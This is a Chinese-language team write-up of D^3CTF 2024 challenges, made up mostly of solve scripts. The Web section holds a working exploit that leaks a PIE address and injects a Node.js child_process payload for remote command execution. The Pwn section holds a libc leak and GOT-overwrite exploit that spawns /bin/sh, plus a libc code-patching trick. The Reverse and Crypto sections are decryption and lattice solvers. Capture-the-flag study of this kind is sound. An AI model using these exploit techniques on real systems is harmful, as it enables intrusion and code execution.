D^3CTF 2024

 

img

D^3太难了😭,队员们tql,带我们再冲一次吧HASH哥

Web

stack_overflow

首先通过溢出覆盖write参数实现越界读,读取PIE后,再通过溢出调用read进行cmd语句的覆盖,实现RCE

import requests
from pwn import *

url = "http://106.14.121.29:32149"
#url = "http://127.0.0.1"


def debug():

    s = requests.session()

    exploit = []

    for i in range(20):
        exploit.append(str(i))

    jsondata = {
        "stdin": exploit
    }

    resp1 = s.post(url=url, json=jsondata)

    print(resp1.content)

    s.close()


# read the pie
def readThePIE():
    s = requests.session()

    exploit = []
    for i in range(20):
        exploit.append(str(i))
    exploit.append("28")
    exploit.append("[[ 0 ]]")
    exploit.append("stdin")
    exploit.append("read")
    exploit.append("1111111")
    exploit.append("222222")
    exploit.append("63")

    jsondata = {
        "stdin": exploit
    }

    resp1 = s.post(url=url, json=jsondata)
    # print(f"pie = {addr-24}")
    # offset = 24  pie

    print(f"PIE: {int(resp1.content.decode()[36:46]) - 24}")
    s.close()

    return int(resp1.content.decode()[36:46]) - 24

def writeCmd(pie):
    s = requests.session()
    exploit = []
    # windows ok
    payload2 = 'const process = this.constructor.constructor("return this.process")();process.mainModule.require("child_process").execSync("cat /flag > /app/index.html").toString()'

    exploit.append("(function (...a){ console.log(\"hack\");" + payload2 + ";return a.map(s=>console.log(s)).join(\" \"); })")

    for i in range(19):
        exploit.append(str(i))

    exploit.append("28")
    exploit.append(f"{pie}")
    exploit.append("stdin")
    exploit.append("read")
    exploit.append("1")      # size
    exploit.append(f"{pie+42}")
    exploit.append("stdin")
    exploit.append("read")
    
    jsondata = {
        "stdin": exploit
    }

    resp1 = s.post(url=url, json=jsondata)


    print(resp1.content)
    s.close()



if __name__ == "__main__":
    pie = readThePIE()
    writeCmd(pie)
    # debug()
Reverse

img

Reverse

RandomVM

动调看加密流程,主要有两段加密:

reg2[0] ^= input[0]

reg2[1] = input[0]
reg2[1] = ((int)reg2[1] >> 3) | (reg2[1] << (8 - 3))
reg2[1] ^= 3
reg2[1] ^= input[1]

reg2[2] = input[1]
reg2[2] = ((int)reg2[2] >> 1) | (reg2[2] << (8 - 1))
reg2[2] ^= input[1]

reg2[3] = ((int)reg2[3] >> 1) | (reg2[3] << (8 - 1))
reg2[3] = ((int)reg2[3] >> 6) | (reg2[3] << (8 - 6))
reg2[3] ^= input[2]

reg2[4] = input[2]
reg2[4] = ((int)reg2[4] >> 7) | (reg2[4] << (8 - 7))
reg2[4] ^= 7
reg2[4] ^= input[3]

reg2[5] = input[3]
reg2[5] = ((int)reg2[5] >> 4) | (reg2[5] << (8 - 4))
reg2[5] ^= 4
reg2[5] ^= input[4]

reg2[6] = input[4]
reg2[6] = ((int)reg2[6] >> 4) | (reg2[6] << (8 - 4))
reg2[6] ^= input[5]

reg2[7] = input[5]
reg2[7] = ((int)reg2[7] >> 7) | (reg2[7] << (8 - 7))
reg2[7] ^= 7
reg2[7] ^= input[6]

reg2[8] = input[6]
reg2[8] = ((int)reg2[8] >> 7) | (reg2[8] << (8 - 7))
reg2[8] ^= input[7]

reg2[9] = input[7]
reg2[9] = ((int)reg2[9] >> 2) | (reg2[9] << (8 - 2))
reg2[9] ^= input[8]

reg2[10] = input[8]
reg2[10] = ((int)reg2[10] >> 4) | (reg2[10] << (8 - 4))
reg2[10] ^= input[9]

reg2[11] = input[9]
reg2[11] = ((int)reg2[11] >> 4) | (reg2[11] << (8 - 4))
reg2[11] ^= input[10]

reg2[12] = input[10]
reg2[12] = ((int)reg2[12] >> 7) | (reg2[12] << (8 - 7))
reg2[12] ^= 7

-------

reg2[2] ^= reg2[1]
reg2[3] ^= reg2[2]
...
reg2[12] ^= reg2[11]

//其中reg2[12] == enc_flag[11]

解密代码:

#include <cstdio>

int main()
{
    unsigned char data[] =
    {
      0x9D, 0x6B, 0xA1, 0x02, 0xD7, 0xED, 0x40, 0xF6, 0x0E, 0xAE,
      0x84, 0x19
    };

    for(int i = 11; i > 0; i--)
        data[i] ^= data[i - 1];

    data[11] ^= 7;
    data[11] = ((int)data[11] >> 1) | (data[11] << 7);

    data[10] ^= data[11];
    data[10] = ((int)data[10] >> 4) | (data[10] << 4);

    data[9] ^= data[10];
    data[9] = ((int)data[9] >> 4) | (data[9] << 4);

    data[8] ^= data[9];
    data[8] = ((int)data[8] >> 6) | (data[8] << 2);

    data[7] ^= data[8];
    data[7] = ((int)data[7] >> 1) | (data[7] << 7);

    data[6] ^= data[7];
    data[6] ^= 7;
    data[6] = ((int)data[6] >> 1) | (data[6] << 7);

    data[5] ^= data[6];
    data[5] = ((int)data[5] >> 4) | (data[5] << 4);

    data[4] ^= data[5];
    data[4] ^= 4;
    data[4] = ((int)data[4] >> 4) | (data[4] << 4);

    data[3] ^= data[4];
    data[3] ^= 7;
    data[3] = ((int)data[3] >> 1) | (data[3] << 7);

    data[2] ^= data[3];
    data[2] = ((int)data[2] >> 2) | (data[2] << 6);

    data[1] ^= data[2];
    data[1] = ((int)data[1] >> 7) | (data[1] << 1);

    data[0] ^= data[1];
    data[0] ^= 3;
    data[0] = ((int)data[0] >> 5) | (data[0] << 3);

    for(int i = 0; i < 12; i++)
        printf("%c", data[i]);
    
    return 0;
}//m3owJumpVmvM

img

Crypto

d3matrix1

from subprocess import check_output
from re import findall
from hashlib import sha256
from Crypto.Cipher import AES

def matrix_overview(BB):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d '%ii)
        for jj in range(BB.dimensions()[1]):
            if BB[ii,jj] == 0:
                a += ' '
            else:
                a += 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        print(a)
        
def flatter(M):
    z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
    ret = check_output(["flatter"], input=z.encode())
    return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))

p = 2**302 + 307
k = 140
n = 10
alpha = 3
GFp = GF(p)

D = load("Dlist.sobj")
D_ = []
for _ in range(140):
    D_.append(D[_].list())

D_ = matrix(D_).change_ring(ZZ)

g = 2^512
A = matrix(ZZ, 140+100, 140+100)
A[:140,:140] = identity_matrix(140)
A[:140,140:] = D_*g
A[140:,140:] = identity_matrix(100)*p*g

AL = flatter(A)[:40].T
# AL = A.LLL()
print("LLL1 done")

B = matrix(ZZ, 180, 180)
B[:140,:140] = identity_matrix(140)
B[:140,140:] = AL[:140]*g
B[140:,140:] = identity_matrix(40)*p*g

BL = flatter(B)
print("LLL2 done")

LA_ = list((BL[:100].T)[:140].T)
LA_.append([-1]*140)
LA = matrix(ZZ, LA_)

LB = matrix(ZZ, 101, 1+140)
LB[100,0] = 2
LB[:,1:] = LA

svec = LB.BKZ(block_size=40)
one_vec = vector(ZZ, [1]*140)
cal = svec[0][0]/2*svec[0][1:]+one_vec

def check(i):
    return all([_ in [0,1,2] for _ in i])
    
for v in svec:
    if v[0] == -2:
        assert check(-v[1:]+one_vec)
        cal += -v[1:]+one_vec
    else:
        assert check(v[1:]+one_vec)
        cal += v[1:]+one_vec

for v in svec:
    if v[0] == -2:
        t = -v[1:]+one_vec
    else:
        t =  v[1:]+one_vec
    key = sha256(str(list(cal-t)).encode()).digest()
    c = b'\x83\x1a)LB\xa6\xfb\xacS\xfa\xd03Q\x83c\xcd\xe6K\xbeI\xfc\x90_\xde=`nM&z\xca\x81\xcf\xdd\xde\x0c\x1b\xf8[C\xdc%\x97\xb2\xa4\xb4\xf6T'
    aes = AES.new(key = key , mode = AES.MODE_ECB)
    flag = aes.decrypt(c)
    if flag[:6] == b'd3ctf{':
        print(flag)
# d3ctf{OrTh0g0n@L_L@Tt1Ce_iS_wOnDe2fU1}

d3matrix2

from hashlib import sha256
from Crypto.Cipher import AES
from tqdm import tqdm

p = 2**1105 - 1335
k = 99
n = 24
alpha = 2

GFp = GF(p)
c = load("c.sobj")
pk = load("pk-1.sobj")

path = []
# c = pk[29]^-1*c
check = int(c.trace()).bit_length()

def test(c):
    for guess in range(99):
        if int((pk[guess]^-1*c).trace()).bit_length()<910:
            return 1
    return 0

for _ in tqdm(range(99)):
    for guess in [0]+[i for i in range(1,99)]:
        if guess not in path:
            if check -14 < int((pk[guess]^-1*c).trace()).bit_length() < check:
                if test(pk[guess]^-1*c):
                    c = pk[guess]^-1*c
                else:
                    continue
                check = int(c.trace()).bit_length()
                print("FIND", int(c.trace()).bit_length(), guess)
                path.append(guess)
                break

key = sha256(str(path+[1]).encode()).digest()
c = b'lD\xfc\xf4\xdb+\xcd\xbd\xff\x1a!C\x0e\x16\t\xa7:<\x94<\xac(M(i\xee\xf9B\xc7\xea}\x1b\x86\xf8e\xff\xa8<\xc2\xf0\x02P\xd8%$\xc3\xe9-'
aes = AES.new(key = key , mode = AES.MODE_ECB)
flag = aes.decrypt(c)
print(flag)
# d3ctf{tr@Ce_Mag1c_1n_M@Tr1x_C0njUgAtE}

S0DH

import sys
from Crypto.Util.number import *
# sys.path.insert(0, './SQISign-SageMath')
# from mitm import claw_finding_attack, Fp2 as F

# p = 2^8 * 3^15 - 1
# F.<i> = GF(p^2, modulus=x^2+1)
x = var("x")
a = 38
b = 25
p = 2**a * 3**b - 1
Fp2 = GF(p ** 2, 'i', modulus=x**2+1)
i = Fp2.gen()
A0 = Fp2(6)
E0 = EllipticCurve(Fp2, [0, A0, 0, 1, 0])

A1 = Fp2(11731710804095179287932*i+170364860453198752624563)
A2 = Fp2(191884939246592021710422*i+96782382528277357218650)

Ea = EllipticCurve(Fp2, [0, A1, 0, 1, 0])
Eb = EllipticCurve(Fp2, [0, A2, 0, 1, 0])

# phi = claw_finding_attack(E0, Ea, 2, 38)
# phi(Pb), phi(Qb)
sk = 798424671353

Pa = E0(199176096138773310217268*i + 230014803812894614137371, 21529721453350773259901*i + 106703903226801547853572)
Qa = E0(8838268627404727894538*i + 42671830598079803454272, 232086518469911650058383*i + 166016721414371687782077)
Pb = E0(200990566762780078867585*i + 156748548599313956052974, 124844788269234253758677*i + 161705339892396558058330)
Qb = E0(39182754631675399496884*i + 97444897625640048145787, 80099047967631528928295*i + 178693902138964187125027)
phiaPb, phiaQb = (Ea(155407615269568455096228*i + 71331056734984899325566 , 43440759922545976846414*i + 94274018320012002327695),
 Ea(214413805531979977467454*i + 38369834490483819756211 , 158804400656305986483332*i + 72953721881546815498467))

# phiPa = Eb(149703758091223422379828*i + 52711226604051274601866, 112079580687990456923625*i + 147229726400811363889895)
# phiQa = Eb(181275595028116997198711*i + 186563896197914896999639, 181395845909382894304538*i + 69293294106635311075792)

Rb = phiaPb + sk * phiaQb
# Rb = phib_Pa + sk * phib_Qa

# Eab = Ea.isogeny(kernel=Rb, algorithm='factored', model='montgomery', check=False).codomain()
Eab = Ea.isogeny(kernel=Rb, algorithm='factored', model='montgomery', check=False).codomain()
jab = Eab.j_invariant()
print("debug", jab)
s = '160722206126144179483261*ii + 35431754154043162999596'
enc = 48739425383997297710665612312049549178322149326453305960348697253918290539788
import hashlib
h = bytes_to_long(hashlib.sha256(s.encode()).digest())
flag = enc ^^ h
print(long_to_bytes(flag))
# d3ctf{is0geny_gr4ph_m33t_1n_7he_m1ddl3}

Pwn

d3note

没有限制idx范围,越界任意读写,读malloc地址泄露libc,网上写system

from Excalibur2 import*

proc('./pwn')
lib('./libc.so.6')
el('./pwn')

default('h')

def add(idx,size,content):
    sl(b"276")
    sl(str(idx))
    sl(str(size))
    sl(content)

def dele(idx):
    sl(b"6425")
    sl(str(idx))

def edit(idx,content):
    sl(b"2064")
    sl(str(idx))
    sl(content)

def show(idx):
    sl(b"1300")
    sl(str(idx))

target = 0x4040A0

add(0, 0x20, b"/bin/sh\x00")
# debug('b *0x401377\nb *0x401422\nb *0x401221\nb *0x401368\n')
debug('b *0x40141D\nb *0x4013D6\n')
show(-924)
libcbase = get_addr64()-libcsym('malloc')
system = libcbase+libcsym('system')
read = sym('read')
lg("libcbase",libcbase)
lg("system",system)
lg("read",read)

# add(-10,str(0x100),b"aaaa")
# add(-10,hex(system),b"aaaa")
# edit(-1440,b"a"*0x5a90)
edit(-1440,p64(0x404000)*0x20)
edit(-1450,p64(system))

dele(0)

ia()

write_flag_where

写libc的code段,先改一个ret为nop,使得canary报错,然后修改canary报错消息打印的偏移,将打印出的消息和原消息对比得到偏移可比对出flag

from Excalibur2 import *

default('h')

# proc('./test')
debug('b *$rebase(0x133E)\n')
# debug('b *$rebase(0x1361)\n')
# sl("140737352835740 14")
lib('./libc.so.6')
# libcsym('_fortify_fail')
flag = ""
# sl(str(140737352783190+0x3)+" "+str(10))
# sl("140737352643938 14")#smash
# sl("140737352808591 14")
# ru("*** ")
# print(ru(" ***"))
# flag += ru(" ***").decode()
# print(flag)
flags = {
    'sy': 'a',
    'ym': 'b',
    'ms': 'c',
    's.': 'd',
    '.c': 'e',
    'c ': 'f',
    'HA': '0',
    'AN': '1',
    'NG': '2',
    'G ': '3',
    ' *': '4',
    'SE': '5',
    'EC': '6',
    'CS': '7',
    'S ': '8',
    ' *': '9'
}
for i in range(16):
    proc('./test')
    sl(str(140737352783190+0x3)+" "+str(i+6))
    sl("140737352643938 18")#smash
    sl("140737352808591 14")
    ru("*** ")
    flag += flags[rec(2).decode()]
    print(rec(2))
    # pause()
    # syms.c yms.c ms.c s.c .c c HANG ANG NG G
    # flag += flags[ru(" ***").decode()]
    print(flag)
#     print(rc())
#     pause()
    cl()
print("your flag: ","flag{"+flag+"}")
    # ia()
#
# ia()

"""
pwndbg> p (0x7ffff7f5a916-88)  ## a
pwndbg> hex 140737353459902
+0000 0x7ffff7f5a8be  73 79 6d 73 2e 63 00 2b  30 78 00 2d 30 78 00 5b  │syms.c.+│0x.-0x.[│
+0010 0x7ffff7f5a8ce  30 78 00 5d 0a 00 62 75  66 66 65 72 20 6f 76 65  │0x.]..bu│ffer.ove│
+0020 0x7ffff7f5a8de  72 66 6c 6f 77 20 64 65  74 65 63 74 65 64 00 6c  │rflow.de│tected.l│
+0030 0x7ffff7f5a8ee  6f 6e 67 6a 6d 70 20 63  61 75 73 65 73 20 75 6e  │ongjmp.c│auses.un│
pwndbg> p (0x7ffff7f5a916-83)  ## f
$4 = 140737353459907
pwndbg> hex $
+0000 0x7ffff7f5a8c3  63 00 2b 30 78 00 2d 30  78 00 5b 30 78 00 5d 0a  │c.+0x.-0│x.[0x.].│
+0010 0x7ffff7f5a8d3  00 62 75 66 66 65 72 20  6f 76 65 72 66 6c 6f 77  │.buffer.│overflow│
+0020 0x7ffff7f5a8e3  20 64 65 74 65 63 74 65  64 00 6c 6f 6e 67 6a 6d  │.detecte│d.longjm│
+0030 0x7ffff7f5a8f3  70 20 63 61 75 73 65 73  20 75 6e 69 6e 69 74 69  │p.causes│.uniniti│
pwndbg> hex $Quit
pwndbg> p (Quit
pwndbg> hex $Quit
pwndbg> p (0x7ffff7f5a916-83Quit
pwndbg> p(0xb9-0x30)
$5 = 137
pwndbg> p (0x7ffff7f5a916-137)  ## 0
$6 = 140737353459853
pwndbg> hex 140737353459853
+0000 0x7ffff7f5a88d  48 41 4e 47 00 53 45 43  53 00 25 73 28 25 73 29  │HANG.SEC│S.%s(%s)│
+0010 0x7ffff7f5a89d  20 5b 25 70 5d 00 25 73  28 25 73 25 63 25 23 74  │.[%p].%s│(%s%c%#t│
+0020 0x7ffff7f5a8ad  78 29 20 5b 25 70 5d 00  62 61 63 6b 74 72 61 63  │x).[%p].│backtrac│
+0030 0x7ffff7f5a8bd  65 73 79 6d 73 2e 63 00  2b 30 78 00 2d 30 78 00  │esyms.c.│+0x.-0x.│
pwndbg> p(0xb9-0x39)
$7 = 128
pwndbg> p (0x7ffff7f5a916-128)  ## 9
$8 = 140737353459862
pwndbg> hex 140737353459862
+0000 0x7ffff7f5a896  00 25 73 28 25 73 29 20  5b 25 70 5d 00 25 73 28  │.%s(%s).│[%p].%s(│
+0010 0x7ffff7f5a8a6  25 73 25 63 25 23 74 78  29 20 5b 25 70 5d 00 62  │%s%c%#tx│).[%p].b│
+0020 0x7ffff7f5a8b6  61 63 6b 74 72 61 63 65  73 79 6d 73 2e 63 00 2b  │acktrace│syms.c.+│
+0030 0x7ffff7f5a8c6  30 78 00 2d 30 78 00 5b  30 78 00 5d 0a 00 62 75  │0x.-0x.[│0x.]..bu│
"""